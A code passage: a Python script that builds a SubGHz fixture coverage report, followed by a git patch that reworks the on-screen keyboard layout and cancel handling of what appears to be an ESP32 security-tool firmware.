+    / "ref/unleashed-firmware/applications/debug/unit_tests/tests/subghz/subghz_test.c"
+)
+UNIT_TEST_RES = (
+    ROOT
+    / "ref/unleashed-firmware/applications/debug/unit_tests/resources/unit_tests/subghz"
+)
+ADAPTER_CPP = ROOT / "src/modules/subghz_advanced/subghz_advanced_decoder_adapter.cpp"
+VENDOR_PROTOCOLS = ROOT / "lib/subghz_unleashed_vendor/src/subghz/protocols"
+DEFAULT_OUTPUT = ROOT / "SUBGHZ_V1_SAMPLE_MATRIX.md"
+
+
+@dataclass
+class DecoderSample:
+    rel_path: str
+    macro: str
+
+
+@dataclass
+class EncoderSample:
+    rel_path: str
+
+
+def _extract_array_symbols(content: str, array_name: str) -> List[str]:
+    pattern = rf"{re.escape(array_name)}\[\].*?\{{(.*?)\}};"
+    match = re.search(pattern, content, re.S)
+    if not match:
+        raise RuntimeError(f"Unable to find array `{array_name}` in adapter")
+    body = match.group(1)
+    return re.findall(r"&\s*(subghz_protocol_[a-zA-Z0-9_]+)", body)
+
+
+def _parse_adapter_symbols() -> Tuple[List[str], List[str]]:
+    text = ADAPTER_CPP.read_text(encoding="utf-8")
+    core = _extract_array_symbols(text, "kCoreProtocols")
+    full = _extract_array_symbols(text, "kFullProtocols")
+    return core, full
+
+
+def _parse_macro_name_values() -> Dict[str, str]:
+    out: Dict[str, str] = {}
+    for hdr in VENDOR_PROTOCOLS.glob("*.h"):
+        text = hdr.read_text(encoding="utf-8", errors="ignore")
+        for macro, value in re.findall(
+            r'#define\s+([A-Z0-9_]+_NAME)\s+"([^"]+)"', text
+        ):
+            out[macro] = value
+    return out
+
+
+def _parse_symbol_name_map(
+    macro_values: Dict[str, str],
+) -> Tuple[Dict[str, str], Dict[str, str]]:
+    out: Dict[str, str] = {}
+    macro_to_symbol: Dict[str, str] = {}
+    for src in VENDOR_PROTOCOLS.glob("*.c"):
+        text = src.read_text(encoding="utf-8", errors="ignore")
+        for symbol, name_expr in re.findall(
+            r"const\s+SubGhzProtocol\s+(subghz_protocol_[a-zA-Z0-9_]+)\s*=\s*\{.*?\.name\s*=\s*([^,\n]+)",
+            text,
+            re.S,
+        ):
+            expr = name_expr.strip()
+            name = ""
+            if expr.startswith('"') and expr.endswith('"'):
+                name = expr.strip('"')
+            elif expr in macro_values:
+                name = macro_values[expr]
+                macro_to_symbol[expr] = symbol
+            else:
+                # Best-effort fallback from symbol.
+                name = symbol.removeprefix("subghz_protocol_")
+            out[symbol] = name
+    return out, macro_to_symbol
+
+
+def _parse_unit_test_cases() -> Tuple[List[DecoderSample], List[EncoderSample]]:
+    text = UNIT_TEST_C.read_text(encoding="utf-8", errors="ignore")
+
+    decoders = [
+        DecoderSample(rel_path=path, macro=macro)
+        for path, macro in re.findall(
+            r"subghz_decoder_test\(\s*EXT_PATH\(\"([^\"]+)\"\)\s*,\s*([A-Z0-9_]+)\s*\)",
+            text,
+            re.S,
+        )
+    ]
+
+    encoders = [
+        EncoderSample(rel_path=path)
+        for path in re.findall(
+            r"subghz_encoder_test\(\s*EXT_PATH\(\"([^\"]+)\"\)\s*\)",
+            text,
+            re.S,
+        )
+    ]
+    return decoders, encoders
+
+
+def _unit_rel_to_fs_path(rel_path: str) -> Path:
+    # rel_path example: unit_tests/subghz/came_raw.sub
+    name = Path(rel_path).name
+    candidate = UNIT_TEST_RES / name
+    if candidate.exists():
+        return candidate
+
+    # Case-insensitive fallback.
+    wanted = name.lower()
+    for p in UNIT_TEST_RES.glob("*.sub"):
+        if p.name.lower() == wanted:
+            return p
+    return candidate
+
+
+def _parse_sub_fields(path: Path) -> Dict[str, str]:
+    fields: Dict[str, str] = {}
+    if not path.exists():
+        return fields
+
+    for raw_line in path.read_text(encoding="utf-8", errors="ignore").splitlines():
+        line = raw_line.strip()
+        if not line or ":" not in line:
+            continue
+        key, value = line.split(":", 1)
+        fields[key.strip()] = value.strip()
+    return fields
+
+
+def _sample_type(fields: Dict[str, str], filename: str) -> str:
+    proto = fields.get("Protocol", "")
+    if proto.upper() in {"RAW", "BINRAW"}:
+        return "raw"
+    if filename.lower().endswith("_raw.sub"):
+        return "raw"
+    return "key"
+
+
+def _to_protocol_symbol_from_macro(macro: str) -> str:
+    # SUBGHZ_PROTOCOL_X_NAME -> subghz_protocol_x
+    token = macro
+    token = token.removeprefix("SUBGHZ_PROTOCOL_")
+    token = token.removesuffix("_NAME")
+    return "subghz_protocol_" + token.lower()
+
+
+def _md_table(rows: Iterable[List[str]]) -> str:
+    rows = list(rows)
+    if not rows:
+        return ""
+    widths = [max(len(r[i]) for r in rows) for i in range(len(rows[0]))]
+    out = []
+    out.append("| " + " | ".join(r.ljust(widths[i]) for i, r in enumerate(rows[0])) + " |")
+    out.append("| " + " | ".join("-" * widths[i] for i in range(len(widths))) + " |")
+    for r in rows[1:]:
+        out.append("| " + " | ".join(r[i].ljust(widths[i]) for i in range(len(widths))) + " |")
+    return "\n".join(out)
+
+
+def build_report() -> Tuple[str, int]:
+    core_symbols, full_symbols = _parse_adapter_symbols()
+    macro_values = _parse_macro_name_values()
+    symbol_names, macro_to_symbol = _parse_symbol_name_map(macro_values)
+    decoder_cases, encoder_cases = _parse_unit_test_cases()
+
+    core_set = set(core_symbols)
+    full_set = set(full_symbols)
+
+    missing_files = 0
+    unresolved_macros = 0
+
+    dec_rows: List[List[str]] = [
+        [
+            "Sample",
+            "Expected Protocol",
+            "Expected In CORE",
+            "Expected In FULL",
+            "Type",
+            "File",
+        ]
+    ]
+    decoder_symbols_seen: set[str] = set()
+
+    for case in decoder_cases:
+        path = _unit_rel_to_fs_path(case.rel_path)
+        fields = _parse_sub_fields(path)
+        stype = _sample_type(fields, path.name)
+        symbol = macro_to_symbol.get(case.macro, _to_protocol_symbol_from_macro(case.macro))
+        decoder_symbols_seen.add(symbol)
+        expected = macro_values.get(case.macro) or symbol_names.get(symbol) or case.macro
+        if expected == case.macro:
+            unresolved_macros += 1
+        in_core = "yes" if symbol in core_set else "no"
+        in_full = "yes" if symbol in full_set else "no"
+        exists = "ok" if path.exists() else "missing"
+        if not path.exists():
+            missing_files += 1
+        dec_rows.append(
+            [
+                path.name,
+                expected,
+                in_core,
+                in_full,
+                stype,
+                exists,
+            ]
+        )
+
+    enc_rows: List[List[str]] = [["Sample", "Protocol Field", "Type", "File"]]
+    for case in encoder_cases:
+        path = _unit_rel_to_fs_path(case.rel_path)
+        fields = _parse_sub_fields(path)
+        proto = fields.get("Protocol", "Unknown")
+        stype = _sample_type(fields, path.name)
+        exists = "ok" if path.exists() else "missing"
+        if not path.exists():
+            missing_files += 1
+        enc_rows.append([path.name, proto, stype, exists])
+
+    unique_decoder_protocols = sorted({r[1] for r in dec_rows[1:]})
+    decoder_count = len(dec_rows) - 1
+    encoder_count = len(enc_rows) - 1
+    raw_count = sum(1 for r in dec_rows[1:] if r[4] == "raw")
+    key_count = sum(1 for r in dec_rows[1:] if r[4] == "key")
+    covered_core_symbols = decoder_symbols_seen & core_set
+    covered_full_symbols = decoder_symbols_seen & full_set
+    missing_core_symbols = sorted(core_set - decoder_symbols_seen)
+    missing_full_symbols = sorted(full_set - decoder_symbols_seen)
+
+    status_lines = []
+    status_lines.append(f"- Decoder samples parsed: `{decoder_count}`")
+    status_lines.append(f"- Encoder samples parsed: `{encoder_count}`")
+    status_lines.append(f"- Decoder sample types: `raw={raw_count}`, `key={key_count}`")
+    status_lines.append(f"- Unique expected decoder protocols: `{len(unique_decoder_protocols)}`")
+    status_lines.append(
+        f"- Files missing from fixture directory: `{missing_files}`"
+    )
+    status_lines.append(
+        f"- Unresolved expected protocol macros: `{unresolved_macros}`"
+    )
+    status_lines.append(
+        "- Minimum battery target (>=10 samples): "
+        + ("`PASS`" if decoder_count >= 10 else "`FAIL`")
+    )
+    status_lines.append(
+        f"- CORE fixture coverage: `{len(covered_core_symbols)}/{len(core_set)}`"
+    )
+    status_lines.append(
+        f"- FULL fixture coverage: `{len(covered_full_symbols)}/{len(full_set)}`"
+    )
+    status_lines.append(
+        "- CORE fixture completeness gate: "
+        + ("`PASS`" if len(covered_core_symbols) == len(core_set) else "`FAIL`")
+    )
+
+    today = _dt.date.today().isoformat()
+    report = []
+    report.append("# SubGHz V1 Sample Validation Matrix")
+    report.append("")
+    report.append(f"Generated: `{today}`")
+    report.append("")
+    report.append("## Summary")
+    report.extend(status_lines)
+    report.append("")
+    report.append("## Decoder Samples (from Unleashed unit tests)")
+    report.append(_md_table(dec_rows))
+    report.append("")
+    report.append("## Encoder Samples (from Unleashed unit tests)")
+    report.append(_md_table(enc_rows))
+    report.append("")
+    report.append("## Expected Decoder Protocols")
+    report.append("")
+    for proto in unique_decoder_protocols:
+        report.append(f"- `{proto}`")
+    report.append("")
+    report.append("## Coverage vs Runtime Registry")
+    report.append("")
+    report.append(
+        f"- CORE covered by decoder fixtures: `{len(covered_core_symbols)}/{len(core_set)}`"
+    )
+    report.append(
+        f"- FULL covered by decoder fixtures: `{len(covered_full_symbols)}/{len(full_set)}`"
+    )
+    report.append("")
+    if missing_core_symbols:
+        report.append("### CORE protocols without decoder fixture")
+        report.append("")
+        for symbol in missing_core_symbols:
+            report.append(
+                f"- `{symbol_names.get(symbol, symbol.removeprefix('subghz_protocol_'))}`"
+            )
+        report.append("")
+    if missing_full_symbols:
+        report.append("### FULL protocols without decoder fixture")
+        report.append("")
+        for symbol in missing_full_symbols:
+            report.append(
+                f"- `{symbol_names.get(symbol, symbol.removeprefix('subghz_protocol_'))}`"
+            )
+        report.append("")
+
+    exit_code = 0
+    if missing_files > 0 or decoder_count < 10 or len(covered_core_symbols) != len(core_set):
+        exit_code = 1
+    return "\n".join(report).rstrip() + "\n", exit_code
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser()
+    parser.add_argument(
+        "--output",
+        type=Path,
+        default=DEFAULT_OUTPUT,
+        help=f"Output markdown report path (default: {DEFAULT_OUTPUT})",
+    )
+    parser.add_argument(
+        "--stdout",
+        action="store_true",
+        help="Also print report to stdout.",
+    )
+    args = parser.parse_args()
+
+    report, code = build_report()
+    args.output.write_text(report, encoding="utf-8")
+    if args.stdout:
+        print(report, end="")
+    return code
+
+
+if __name__ == "__main__":
+    sys.exit(main())

From 8e7121d831acd53c5eaddd6191ad6fec81a96381 Mon Sep 17 00:00:00 2001
From: Pirata <bmorcelli@gmail.com>
Date: Sat, 23 May 2026 15:00:27 -0300
Subject: [PATCH 67/73] keyboard exit guards

---
 src/core/connect/serial_commands.cpp        |   1 +
 src/core/mykeyboard.cpp                     | 277 +++++++++++++-------
 src/core/passwords.cpp                      |   2 +-
 src/core/sd_functions.cpp                   |  12 +-
 src/core/wifi/wifi_common.cpp               |   7 +-
 src/core/wifi/wifi_mac.cpp                  |   1 +
 src/modules/NRF24/nrf_mousejack.cpp         |   2 +-
 src/modules/badusb_ble/ducky_typer.cpp      |  80 +++---
 src/modules/bjs_interpreter/keyboard_js.cpp |   2 +-
 src/modules/ble/ble_spam.cpp                |   5 +-
 src/modules/ir/ir_read.cpp                  |  36 +--
 src/modules/lora/LoRaRF.cpp                 |  11 +-
 src/modules/others/clicker.cpp              |   5 +-
 src/modules/others/qrcode_menu.cpp          |   4 +
 src/modules/rfid/chameleon.cpp              |   2 +
 src/modules/rfid/pn532ble.cpp               |   1 +
 src/modules/rfid/rfid125.cpp                |   1 +
 src/modules/rfid/tag_o_matic.cpp            |  13 +-
 src/modules/wifi/clients.cpp                |  14 +-
 src/modules/wifi/evil_portal.cpp            |  98 ++++---
 src/modules/wifi/netcut.cpp                 |   2 +
 src/modules/wifi/responder.cpp              |   9 +-
 src/modules/wifi/tcp_utils.cpp              |  10 +-
 src/modules/wifi/wifi_atks.cpp              |   2 +-
 src/modules/wifi/wifi_recover.cpp           |   2 +-
 25 files changed, 370 insertions(+), 229 deletions(-)

diff --git a/src/core/connect/serial_commands.cpp b/src/core/connect/serial_commands.cpp
index 26f31c254..9ab067692 100644
--- a/src/core/connect/serial_commands.cpp
+++ b/src/core/connect/serial_commands.cpp
@@ -111,6 +111,7 @@ EspSerialCmd::Message EspSerialCmd::createCmdMessage() {
     delay(500);
 
     String command = keyboard("", ESP_DATA_SIZE, "Serial Command");
+    if (command == "\x1B") command = "";
     Message msg = createMessage(command);
     printMessage(msg);
 
diff --git a/src/core/mykeyboard.cpp b/src/core/mykeyboard.cpp
index 3974e785e..84482dbb4 100644
--- a/src/core/mykeyboard.cpp
+++ b/src/core/mykeyboard.cpp
@@ -8,6 +8,13 @@
 #include "sd_functions.h"
 #include <ArduinoJson.h>
 
+#ifndef HAS_1_BUTTON
+#define HAS_1_BUTTON 0
+#else
+#undef HAS_1_BUTTON
+#define HAS_1_BUTTON 1
+#endif
+
 int max_FM_size = tftWidth / (LW * FM) - 1;
 int max_FP_size = tftWidth / (LW)-2;
 
@@ -82,7 +89,7 @@ char azerty_keyset[azerty_keyboard_height][azerty_keyboard_width][2] = {
      {'9', '\xe7'}, // ç
      {'0', '\xe0'}, // à
      {')', '\xb0'},
-     {'=', '+'}  },
+     {'=', '+'}                      },
     // Row 2: AZERTY row
     {{'a', 'A'},
      {'z', 'Z'},
@@ -94,8 +101,8 @@ char azerty_keyset[azerty_keyboard_height][azerty_keyboard_width][2] = {
      {'i', 'I'},
      {'o', 'O'},
      {'p', 'P'},
-     {'^', '\xa8'}, // ^ / ¨
-     {'$', '\xa3'} },// $ / £
+     {'.', '\xa8'},                                       // . / ¨
+     {'$', '\xa3'}}, // $ / £
     // Row 3: QSDFGH row
     {{'q', 'Q'},
      {'s', 'S'},
@@ -107,8 +114,8 @@ char azerty_keyset[azerty_keyboard_height][azerty_keyboard_width][2] = {
      {'k', 'K'},
      {'l', 'L'},
      {'m', 'M'},
-     {'\xf9', '%'}, // ù / %
-     {'*', '\xb5'} },// * / µ
+     {'\xf9', '%'},                                       // ù / %
+     {'*', '\xb5'}}, // * / µ
     // Row 4: WXCVBN row
     {{'<', '>'},
      {'w', 'W'},
@@ -120,8 +127,8 @@ char azerty_keyset[azerty_keyboard_height][azerty_keyboard_width][2] = {
      {',', '?'},
      {';', '.'},
      {':', '/'},
-     {'!', '\xa7'}, // ! / §
-     {'-', '_'} }
+     {'!', '\xa7'},                                       // ! / §
+     {'-', '_'}   }
 };
 
 // QWERTZ KEYSET (German)
@@ -139,8 +146,8 @@ char qwertz_keyset[qwertz_keyboard_height][qwertz_keyboard_width][2] = {
      {'8', '('},
      {'9', ')'},
      {'0', '='},
-     {'\xdf', '?'}, // ß / ?
-     {'\'', '`'} },
+     {'\xdf', '?'},                          // ß / ?
+     {'\'', '`'}                         },
     // Row 2: QWERTZ row
     {{'q', 'Q'},
      {'w', 'W'},
@@ -152,8 +159,8 @@ char qwertz_keyset[qwertz_keyboard_height][qwertz_keyboard_width][2] = {
      {'i', 'I'},
      {'o', 'O'},
      {'p', 'P'},
-     {'\xfc', '\xdc'}, // ü / Ü
-     {'+', '*'}  },
+     {'\xfc', '\xdc'},                       // ü / Ü
+     {'+', '*'}                       },
     // Row 3: ASDF row
     {{'a', 'A'},
      {'s', 'S'},
@@ -179,7 +186,7 @@ char qwertz_keyset[qwertz_keyboard_height][qwertz_keyboard_width][2] = {
      {',', ';'},
      {'.', ':'},
      {'-', '_'},
-     {'/', '/'} }
+     {'/', '/'}                                             }
 };
 
 // HEX KEYSET
@@ -391,8 +398,8 @@ enum KeyboardAction { KEYBOARD_CONTINUE, KEYBOARD_OK, KEYBOARD_CANCEL, KEYBOARD_
 
 /// Handles keyboard selection logic for regular keyboard
 KeyboardAction handleKeyboardSelection(
-    int &x, int &y, String &current_text, bool &caps, int &cursor_x, int &cursor_y, const int max_size,
-    char character, bool mask_input
+    int &x, int &y, String &current_text, bool &caps, bool &direction, int &cursor_x, int &cursor_y,
+    const int max_size, char character, bool mask_input
 ) {
     tft.setCursor(cursor_x, cursor_y);
 
@@ -412,6 +419,11 @@ KeyboardAction handleKeyboardSelection(
             case 4: // BACK button
                 current_text = "\x1B";
                 return KEYBOARD_CANCEL;
+#if HAS_1_BUTTON
+            case 5: // Direction button
+                direction = !direction;
+                return KEYBOARD_REDRAW;
+#endif
             default: break;
         }
 
@@ -442,6 +454,7 @@ String generalKeyboard(
 
     /* SUPPORT VARIABLES */
     bool caps = false;
+    bool last_caps = false;
     bool selection_made = false; // used for detecting if an key or a button was selected
     bool redraw = true;
     long last_input_time = millis(); // used for input debouncing
@@ -458,7 +471,9 @@ String generalKeyboard(
 
     /*====================Initial Setup====================*/
 
-    int buttons_number = 5;
+    bool direction = true;
+    bool last_dir = true;
+    const int buttons_number = 5 + HAS_1_BUTTON;
 
     /*-----------------------------HOW btns_layout IS CALCULATED-----------------------------*/
     // const char *buttons_strings[] = {"OK", "CAP", "DEL", "SPACE", "BACK"};
@@ -484,44 +499,30 @@ String generalKeyboard(
     // so these do not change
     /*---------------------------------------------------------------------------------------*/
 
-#if FM > 1      // Normal keyboard size
-#define KBLH 20 // Keyboard Buttons Line Height
-    // { x coord of btn border, btn width, x coord of the inside text }
-    // 12 px = 10 px + 2 of padding between the letters -> refer to the section above to better understand
-    // ((12px * n_letters) - 2px ) + 9*2px = width
-    int btns_layout[buttons_number][3] = {
-        {7,   46, 19 }, // OK button
-        {55,  52, 64 }, // CAP button
-        {109, 52, 118}, // DEL button
-        {163, 76, 172}, // SPACE button
-        {241, 64, 250}, // BACK button
-    };
-
-    const int key_width = tftWidth / KeyboardWidth;
-    const int key_height = (tftHeight - (2 * KBLH + 14)) / KeyboardHeight;
-    // characters are 14px high and 10px wide
-    const int text_offset_x = key_width / 2 - 5;
-    const int text_offset_y = key_height / 2 - 7;
-#else           // small keyboard size, for  smaller screen, like Marauder Mini and others ;)
-#define KBLH 10 // Keyboard Buttons Line Height
-    // in smaller screens there is no space left for the BACK button
-    buttons_number = 4; // {"OK", "CAP", "DEL", "SPACE"};
-
-    // 5px per char
-    int btns_layout[buttons_number][3] = {
-        {2,  20, 5 }, // OK button
-        {22, 25, 25}, // CAP button
-        {47, 25, 50}, // DEL button
-        {72, 50, 75}, // SPACE button
-        // {122, 40, 125}, // BACK button
+    const int PAD = 2;
+    const int KBLH = 6 + LH * FM;
+    const int counter_height = LH * FP;
+    const int top_button_text_y = 2 + (KBLH - LH * FM) / 2;
+    const int counter_y = KBLH + 4;
+    const int textbox_y = KBLH + counter_height + 5;
+    const int textbox_text_y = textbox_y + 2;
+    const int keyboard_start_y = textbox_y + KBLH + 2;
+
+    const int btns_layout[buttons_number][3] = {
+        {1 * PAD + 0 * LW * FM,  3 * LW * FM, 1 * PAD + 0 * LW * FM + LW * FM / 2  }, // Ok
+        {2 * PAD + 3 * LW * FM,  3 * LW * FM, 2 * PAD + 3 * LW * FM + LW * FM / 2  }, // ab/A@
+        {3 * PAD + 6 * LW * FM,  3 * LW * FM, 3 * PAD + 6 * LW * FM + LW * FM / 2  }, // <-
+        {4 * PAD + 9 * LW * FM,  3 * LW * FM, 4 * PAD + 9.5 * LW * FM + LW * FM / 2}, // _ {Space}
+        {5 * PAD + 12 * LW * FM, 3 * LW * FM, 5 * PAD + 12 * LW * FM + LW * FM / 2 }, // Ex
+#if HAS_1_BUTTON
+        {6 * PAD + 15 * LW * FM, 4 * LW * FM, 6 * PAD + 15 * LW * FM + LW * FM / 2 }, // R/D or L/U
+#endif
     };
 
     const int key_width = tftWidth / KeyboardWidth;
-    const int key_height = (tftHeight - (2 * KBLH + 14)) / KeyboardHeight;
-    // characters are 7px high and 5px wide
-    const int text_offset_x = key_width / 2 - 2;
-    const int text_offset_y = key_height / 2 - 3;
-#endif
+    const int key_height = (tftHeight - keyboard_start_y) / KeyboardHeight;
+    const int text_offset_x = key_width / 2 - LW * FM / 2;
+    const int text_offset_y = key_height / 2 - LH * FM / 2;
 
 #if defined(HAS_TOUCH) // filling touch box list
     // Calculate actual box count
@@ -538,7 +539,7 @@ String generalKeyboard(
             box_list[k].key_sh = keys[j][i][1];
             box_list[k].color = ~bruceConfig.bgColor;
             box_list[k].x = i * key_width;
-            box_list[k].y = j * key_height + 54;
+            box_list[k].y = j * key_height + keyboard_start_y;
             box_list[k].w = key_width;
             box_list[k].h = key_height;
             k++;
@@ -575,8 +576,10 @@ String generalKeyboard(
             tft.setTextSize(FM);
 
             // Draw the top row buttons_strings
-            if (y < 0 || old_y < 0) {
-                tft.fillRect(0, 1, tftWidth, 22, bruceConfig.bgColor);
+            if (y < 0 || old_y < 0 || caps != last_caps || direction != last_dir) {
+                last_caps = caps;
+                last_dir = direction;
+                tft.fillRect(0, 1, tftWidth, KBLH + 2, bruceConfig.bgColor);
                 // Draw the buttons_strings borders
                 for (int i = 0; i < buttons_number; ++i) {
                     tft.drawRect(
@@ -588,7 +591,7 @@ String generalKeyboard(
                     );
                 }
 
-                tft.drawRect(3, KBLH + 12, tftWidth - 3, KBLH, bruceConfig.priColor); // typed string border
+                tft.drawRect(3, textbox_y, tftWidth - 3, KBLH, bruceConfig.priColor); // typed string border
 
                 /* Highlight the corresponding button when the user cursor is over it */
                 // OK
@@ -602,7 +605,7 @@ String generalKeyboard(
                         getComplementaryColor2(bruceConfig.bgColor)
                     );
                 } else tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), bruceConfig.bgColor);
-                tft.drawString("OK", btns_layout[0][2], 5);
+                tft.drawString("Ok", btns_layout[0][2], top_button_text_y);
                 // CAP
                 if (x == 1 && y == -1) {
                     tft.setTextColor(bruceConfig.bgColor, getComplementaryColor2(bruceConfig.bgColor));
@@ -617,7 +620,7 @@ String generalKeyboard(
                     tft.fillRect(btns_layout[1][0], 2, btns_layout[1][1], KBLH, TFT_DARKGREY);
                     tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), TFT_DARKGREY);
                 } else tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), bruceConfig.bgColor);
-                tft.drawString("CAP", btns_layout[1][2], 5);
+                tft.drawString(caps ? "ab" : "A@", btns_layout[1][2], top_button_text_y);
                 // DEL
                 if (x == 2 && y == -1) {
                     tft.setTextColor(bruceConfig.bgColor, getComplementaryColor2(bruceConfig.bgColor));
@@ -629,7 +632,7 @@ String generalKeyboard(
                         getComplementaryColor2(bruceConfig.bgColor)
                     );
                 } else tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), bruceConfig.bgColor);
-                tft.drawString("DEL", btns_layout[2][2], 5);
+                tft.drawString("<-", btns_layout[2][2], top_button_text_y);
                 // SPACE
                 if (x == 3 && y == -1) {
                     tft.setTextColor(bruceConfig.bgColor, getComplementaryColor2(bruceConfig.bgColor));
@@ -641,10 +644,9 @@ String generalKeyboard(
                         getComplementaryColor2(bruceConfig.bgColor)
                     );
                 } else tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), bruceConfig.bgColor);
-                tft.drawString("SPACE", btns_layout[3][2], 5);
-#if FM > 1 // draw only on large enough screens
-           //   BACK
-                if (x > 3 && y == -1) {
+                tft.drawString("_", btns_layout[3][2], top_button_text_y);
+                // BACK
+                if (x == 4 && y == -1) {
                     tft.setTextColor(bruceConfig.bgColor, getComplementaryColor2(bruceConfig.bgColor));
                     tft.fillRect(
                         btns_layout[4][0],
@@ -654,7 +656,23 @@ String generalKeyboard(
                         getComplementaryColor2(bruceConfig.bgColor)
                     );
                 } else tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), bruceConfig.bgColor);
-                tft.drawString("BACK", btns_layout[4][2], 5);
+                tft.drawString("Ex", btns_layout[4][2], top_button_text_y);
+#if HAS_1_BUTTON
+                // DIRECTION
+                if (x == 5 && y == -1) {
+                    tft.setTextColor(bruceConfig.bgColor, getComplementaryColor2(bruceConfig.bgColor));
+                    tft.fillRect(
+                        btns_layout[5][0],
+                        2,
+                        btns_layout[5][1],
+                        KBLH,
+                        getComplementaryColor2(bruceConfig.bgColor)
+                    );
+                } else if (!direction) {
+                    tft.fillRect(btns_layout[5][0], 2, btns_layout[5][1], KBLH, TFT_DARKGREY);
+                    tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), TFT_DARKGREY);
+                } else tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), bruceConfig.bgColor);
+                tft.drawString(direction ? "R/D" : "L/U", btns_layout[5][2], top_button_text_y);
 #endif
             }
 
@@ -663,24 +681,26 @@ String generalKeyboard(
             tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), bruceConfig.bgColor);
             String chars_counter = String(current_text.length()) + "/" + String(max_size);
             tft.fillRect(
-                tftWidth - ((chars_counter.length() * 6) + 20), // 5px per char + 1 padding
-                KBLH + 4,
-                (chars_counter.length() * 6) + 20,
-                7,
+                tftWidth - ((chars_counter.length() * LW * FP) + 20),
+                counter_y,
+                (chars_counter.length() * LW * FP) + 20,
+                LH * FP,
                 bruceConfig.bgColor
             ); // clear previous text
-            tft.drawString(chars_counter, tftWidth - ((chars_counter.length() * 6) + 10), KBLH + 4);
+            tft.drawString(chars_counter, tftWidth - ((chars_counter.length() * LW * FP) + 10), counter_y);
 
             // Prints the title of the textbox, it should report what the user has to write in it
             tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), 0x5AAB);
-            tft.drawString(textbox_title.substring(0, max_FP_size - chars_counter.length() - 1), 3, KBLH + 4);
+            tft.drawString(
+                textbox_title.substring(0, max_FP_size - chars_counter.length() - 1), 3, counter_y
+            );
 
             // Drawing the textbox and the currently typed string
             tft.setTextSize(FM);
             // reset the text box if needed
             if (current_text.length() == (max_FM_size) || current_text.length() == (max_FM_size + 1) ||
                 current_text.length() == (max_FP_size) || current_text.length() == (max_FP_size + 1))
-                tft.fillRect(3, KBLH + 12, tftWidth - 3, KBLH, bruceConfig.bgColor);
+                tft.fillRect(3, textbox_y, tftWidth - 3, KBLH, bruceConfig.bgColor);
             // write the text
             tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor));
 
@@ -694,27 +714,29 @@ String generalKeyboard(
                         (mask_input ? repeatString(current_text.substring(0, max_FP_size).length(), "*")
                                     : current_text.substring(0, max_FP_size)),
                         5,
-                        KBLH + LH + 6
+                        textbox_text_y
                     );
                     tft.drawString(
                         (mask_input ? repeatString(current_text.length() - max_FP_size, "*")
                                     : current_text.substring(max_FP_size, current_text.length())),
                         5,
-                        KBLH + 2 * LH + 6
+                        textbox_text_y + LH * FP
                     );
                 } else {
                     tft.drawString(
-                        (mask_input ? repeatString(current_text.length(), "*") : current_text), 5, KBLH + 14
+                        (mask_input ? repeatString(current_text.length(), "*") : current_text),
+                        5,
+                        textbox_text_y
                     );
                 }
             } else {
                 // else if it fits, just draw the text
                 tft.drawString(
-                    (mask_input ? repeatString(current_text.length(), "*") : current_text), 5, KBLH + 14
+                    (mask_input ? repeatString(current_text.length(), "*") : current_text), 5, textbox_text_y
                 );
             }
             // Draw the textbox border again(?)
-            tft.drawRect(3, KBLH + 12, tftWidth - 3, KBLH, bruceConfig.priColor); // typed string border
+            tft.drawRect(3, textbox_y, tftWidth - 3, KBLH, bruceConfig.priColor); // typed string border
 
             tft.setTextColor(getComplementaryColor2(bruceConfig.bgColor), bruceConfig.bgColor);
             tft.setTextSize(FM);
@@ -724,7 +746,7 @@ String generalKeyboard(
                 for (int j = 0; j < KeyboardWidth; j++) {
                     // key coordinates
                     int key_x = j * key_width;
-                    int key_y = i * key_height + KBLH * 2 + 14;
+                    int key_y = i * key_height + keyboard_start_y;
 
                     // Use the previous coordinates to redraw only the previous letter
                     if (old_x == j && old_y == i) {
@@ -756,14 +778,14 @@ String generalKeyboard(
         if (current_text.length() > max_FM_size) {
             tft.setTextSize(FP);
             if (current_text.length() > (max_FP_size)) {
-                cursor_y = KBLH + 2 * LH + 6;
-                cursor_x = 5 + (current_text.length() - max_FP_size) * LW;
+                cursor_y = textbox_text_y + LH * FP;
+                cursor_x = 5 + (current_text.length() - max_FP_size) * LW * FP;
             } else {
-                cursor_y = KBLH + LH + 6;
-                cursor_x = 5 + current_text.length() * LW;
+                cursor_y = textbox_text_y;
+                cursor_x = 5 + current_text.length() * LW * FP;
             }
         } else {
-            cursor_y = KBLH + LH + 6;
+            cursor_y = textbox_text_y;
             cursor_x = 5 + current_text.length() * LW * FM;
         }
         // Prioritize Serial Input for navigation
@@ -827,7 +849,9 @@ String generalKeyboard(
                 }
                 if (box_list[buttons_start_index + 1].contain(touchPoint.x, touchPoint.y)) { // CAPS btn
                     caps = !caps;
-                    tft.fillRect(0, 54, tftWidth, tftHeight - 54, bruceConfig.bgColor);
+                    tft.fillRect(
+                        0, keyboard_start_y, tftWidth, tftHeight - keyboard_start_y, bruceConfig.bgColor
+                    );
                     touchHandled = true;
                 }
                 if (box_list[buttons_start_index + 2].contain(touchPoint.x, touchPoint.y)) { // DEL btn
@@ -842,11 +866,15 @@ String generalKeyboard(
                         touchHandled = true;
                     }
                 }
-#if FM > 1
                 if (box_list[buttons_start_index + 4].contain(touchPoint.x, touchPoint.y)) { // BACK btn
                     current_text = "\x1B"; // ASCII ESC CHARACTER
                     break;
                 }
+#if HAS_1_BUTTON
+                if (box_list[buttons_start_index + 5].contain(touchPoint.x, touchPoint.y)) { // DIRECTION btn
+                    direction = !direction;
+                    touchHandled = true;
+                }
 #endif
                 for (k = 0; k < keyboard_boxes; k++) {
                     if (box_list[k].contain(touchPoint.x, touchPoint.y)) {
@@ -871,7 +899,68 @@ String generalKeyboard(
             }
 #endif
 
-#if defined(HAS_3_BUTTONS) // StickCs and Core
+#if HAS_1_BUTTON
+            auto moveKeyboardCursorNext = [&]() {
+                if (y < 0) {
+                    x++;
+                    if (x >= buttons_number) {
+                        y = 0;
+                        x = 0;
+                    }
+                } else {
+                    x++;
+                    if (x >= KeyboardWidth) {
+                        x = 0;
+                        y++;
+                    }
+                    if (y >= KeyboardHeight) { y = -1; }
+                }
+                redraw = true;
